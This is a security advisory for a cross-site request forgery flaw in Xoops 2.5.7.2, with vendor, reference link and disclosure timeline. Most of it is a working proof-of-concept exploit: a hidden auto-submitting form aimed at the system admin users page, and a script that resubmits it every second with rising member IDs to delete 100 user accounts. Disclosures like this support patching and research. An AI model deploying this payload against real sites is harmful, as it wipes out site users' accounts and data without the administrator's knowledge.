Xoops 2.5.7.2 CSRF - Arbitrary User Deletions

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Vendor:
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xoops.org



Product:
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Xoops 2.5.7.2



Vulnerability Type:
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CSRF - Arbitrary User Deletions



Vulnerability Details:
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Xoops 2.5.7.2 has CSRF vulnerability where remote attackers can delete ALL users from the Xoops database.


References:
http://xoops.org/modules/news/article.php?storyid=6757


Exploit Codes:
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Following CSRF attack delete all users from database, following POC code will sequentially delete 100 users from the 
Xoops application.

<iframe name="ifrm" style="display:none" name="hidden-form"></iframe>

<form target="ifrm" name='memberslist' id='CSRF' 
action='http://localhost/xoops-2.5.7.2/htdocs/modules/system/admin.php?fct=users&apos; method='POST'>
<input type="hidden" id="ids" name="memberslist_id[]" />           
<input type="hidden" name="fct" value="users" />
<input type="hidden" name="edit_group" value="" />
<input type="hidden" name="selgroups" value="" />
<input type="hidden" name="op" value="users_add_delete_group" />
<input type="hidden" name="op" value="action_group" />
<input type="hidden" name="Submit" value="Submit+Query" />
</form>

<script>
var c=-1
var amttodelete=100
var id=document.getElementById("ids")
var frm=document.getElementById("CSRF")
function doit(){
c++
arguments[1].value=c
arguments[0].submit()
if(c>=amttodelete){
  clearInterval(si)
  alert("Done!")
}
}
var si=setInterval(doit, 1000, frm, id)
</script>




Disclosure Date:
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Jan 29, 2016: Vendor Notification
Vendor confirms and patches Xoops
March 17, 2016 : Public Disclosure

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